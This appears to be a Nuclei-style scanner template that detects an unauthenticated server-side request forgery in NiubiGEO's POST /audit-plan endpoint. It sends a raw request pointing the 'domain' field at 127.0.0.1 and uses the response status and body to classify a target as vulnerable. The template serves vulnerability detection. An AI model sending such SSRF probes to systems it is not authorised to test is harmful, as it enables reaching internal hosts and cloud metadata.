id: CVE-2026-116069 info: name: "NiubiGEO - Unauthenticated Server-Side Request Forgery" author: vedas-arpsyndicate severity: medium description: | NiubiGEO before 0.3.2 contains an unauthenticated server-side request forgery in POST /audit-plan. The `domain` field is fetched server-side without blocking internal, loopback or link-local hosts, so an attacker can point the audit at internal addresses (loopback, private ranges, or cloud metadata). Fixed builds reject such hosts with HTTP 400 "domain must be a public HTTP(S) website", while vulnerable builds accept the internal target and return the generated plan with HTTP 201. reference: - https://www.exploit.observer/?keyword=CVE-2026-116069&match=exact - https://subdomain.center/?engine=ammonites&keyword=niubigeo&match=exact classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N cve-id: CVE-2026-116069 cwe-id: CWE-918 metadata: verified: false tags: cve,cve2026,niubigeo,ssrf http: - raw: - | POST /audit-plan HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"domain":"http://127.0.0.1","name":"vedas"} matchers: - type: dsl dsl: - 'status_code == 201' - 'contains(body, "\"plan\"")' - '!contains(body, "domain must be a public")' condition: and